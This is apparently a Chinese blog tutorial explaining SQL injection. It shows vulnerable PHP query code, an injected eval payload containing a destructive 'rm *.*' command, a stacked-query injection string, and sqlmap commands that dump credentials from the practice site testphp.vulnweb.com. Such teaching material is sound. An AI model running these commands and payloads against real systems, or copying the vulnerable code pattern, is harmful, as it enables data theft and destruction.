【Web 安全】什么是SQL注入 | SQL注入的原理 | 实现SQL注入 | sqlmap 靶场实践

783 阅读5分钟

前言

本文主要内容:由浅入深介绍了什么是SQL注入,并且通过底层代码讲述了SQL注入的原理,最后利用 sqlmap 工具实现了对在线靶场的SQL注入

虽说本科学的是信息安全,但是对于信息安全的内容也了解甚少,上课的内容也仅仅如通识课一般草草带过。而现在既然致力于前端,那么对于一些常见的Web攻击还是要做一些了解的,本篇文章就将先介绍SQL注入。

什么是SQL注入

要了解什么是SQL注入,关键是了解 SQL 和注入两个名词

代码注入

先来了解一下所谓的代码注入

比如说,现在我们有这样一个输入框

当我们输入一个数学表达式 2+7 时,可以获得 eval(2+7) 的表达式;

然而当我们输入这样的表达式时,

就会发现表达式变成了 eval(2+7); system("rm *.*") ,恶意调用了系统指令删除了目标文件夹下的所有文件

所以当我们没有合适的过滤手段防止非法的输入时,攻击者就能通过注入上面类似的代码进行攻击。

SQL 查询

再来回顾一下如何进行正常的 SQL 查询

首先认识一下我们将会用到的 MySQL 表(表名为 test)

所以当我们想查询 Peter 的年纪时,可以用以下查询语句

SELECT age FROM test WHERE name='Peter'

这样便是完成了一次正常的 SQL 查询,会返回数据 '23'

而许多网站的代码是需要接受参数形成SQL语句的,

以 php 代码为例,下面的代码通过 get 传输了一个 name 参数,形成了 SQL 查询语句

$searchName = $_GET['name'];
$sql = "SELECT age FROM test WHERE name='$searchName'";

当我们用 get 传入 "?name=Peter"时,就会向数据库传入与上面一致的查询语句

SELECT age FROM test WHERE name='Peter'

从而得到以下的查询结果

当传入 "?name=Jane"时,就会传入查询语句

SELECT age FROM test WHERE name='Jane'

然后我们就能实现 SQL 查询

实现 SQL 注入

最后就进入正题,SQL 注入也就是在  SQL 查询的代码中进行恶意代码的注入

比如说在上面的例子中传入下面的字符串

Peter'; SELECT name FROM test; '

可以看到,不只能够查询到年龄,还能通过注入代码查询想要的字段

此时的 SQL 语句实际上如下

SELECT age FROM test WHERE name='Peter'; SELECT name FROM test; ''

也就是原本只让填入一个参数的地方,填入了注入的语句,导致生成了三条 SQL 查询语句,第二条语句查询了 name 字段的所有内容,造成了信息泄露,使得数据库被攻击成功

sqlmap 靶场实践

在了解了什么是 SQL 注入,以及如何实现 SQL 注入后,

选择一个在线的靶场进行实战,我这用的是 testphp.vulnweb.com/

进入页面后,我们要找到可以进行 SQL 注入攻击的地方,经过几次点击的尝试,发现 artists 下的 php 文件会接收 get 参数,进行 SQL 查询,如下

我们在 artist 的参数后面加上一个单引号 '。因为如果此处存在 SQL 注入漏洞,那么这个单引号会直接导致 SQL 查询语句的结束,构成 SQL 语法错误。

可以看到服务端果然报了个错,证明此处存在 SQL 漏洞。

我们的目标就是获得存储在数据库中的管理员用户名和密码,

那么首先可以使用 sqlmap 对这个 URL 进行扫描,在终端中执行如下命令查询存在的数据库

sqlmap -u testphp.vulnweb.com/artists.php?artist=2 --dbs

// dbs指查找数据库

扫描获得了结果,成功扫描到了两个可用的数据库

获得了数据库名后,进一步要获得数据表名,执行如下命令

sqlmap -u testphp.vulnweb.com/artists.php?artist=2 -D acuart --tables

// 传入参数数据表名 acuart

这样我们就又获得 acuart 数据库下的 8 个数据表

根据常规思维,用户名和密码是存在于 user 表的,所以我们执行如下命令

sqlmap -u testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users --columns

// 传入了数据库名和数据表名,对 users 数据表的字段进行查询

最后的 8 个字段也被我们查找到了,所以接下来就可以获得其中的值了,执行下面命令

sqlmap -u testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users -C uname --dump

// 传入了数据库、数据表以及字段名,对这个字段下的值查询

最终结果如上面所示,user 表中只有一条记录,这条记录的 uname 值为 test

同理,执行下面命令查询密码

sqlmap -u testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users -C pass --dump

这样我们就获得了用户名和密码,回到网站中登录看看

太好了,登录成功

这样我们就针对这个靶场的 SQL 注入漏洞展开了一次攻击

小结

SQL 注入是较常见的一种Web攻击,其中 sqlmap 是常见的爆破工具,通过数据库名、数据表名、字段名、用户名和密码一层层地不断爆破,最终能获取结果。

不过这些都是很基础的漏洞,在目前的生产环境中已经不常见,所以不要对运行中的生产网站做测试,以免造成不必要的麻烦。(免责声明)